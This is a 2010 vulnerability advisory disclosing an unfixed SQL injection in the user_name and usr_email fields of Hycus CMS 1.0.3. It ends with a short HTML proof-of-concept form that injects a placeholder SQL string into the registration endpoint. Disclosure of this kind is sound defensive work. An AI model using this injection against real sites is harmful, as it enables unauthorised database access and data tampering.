SQL injection in Hycus CMS

2010-12-21T00:00:00
ID SECURITYVULNS:DOC:25365
Type securityvulns
Reporter Securityvulns
Modified 2010-12-21T00:00:00

Description

Vulnerability ID: HTB22738 Reference: http://www.htbridge.ch/advisory/sql_injection_in_hycus_cms.html Product: Hycus CMS Vendor: Hycus Web Development Team ( http://www.hycus.com/ ) Vulnerable Version: 1.0.3 Vendor Notification: 07 December 2010 Vulnerability Type: SQL injection Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response Risk level: High Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details: The vulnerability exists due to failure in the "/index.php" script to properly sanitize user-supplied input in "user_name" and "usr_email" variables. Attacker can alter queries to the application SQL database, execute arbitrary queries to the database, compromise the application, access or modify sensitive data, or exploit various vulnerabilities in the underlying SQL database.

The following PoC is available:

<form action="http://[host]/?user/1/hregister.html" method="post" name="main" > <input type="hidden" name="full_name" value="username"/> <input type="hidden" name="user_name" value="1'SQL_CODE"/> <input type="hidden" name="usr_email" value="test@mail.com'SQL_CODE"/> <input type="hidden" name="pwd" value="123456"/> <input type="hidden" name="pwd2" value="123456"/> <input type="submit" value="submit" name="submit" /> </form>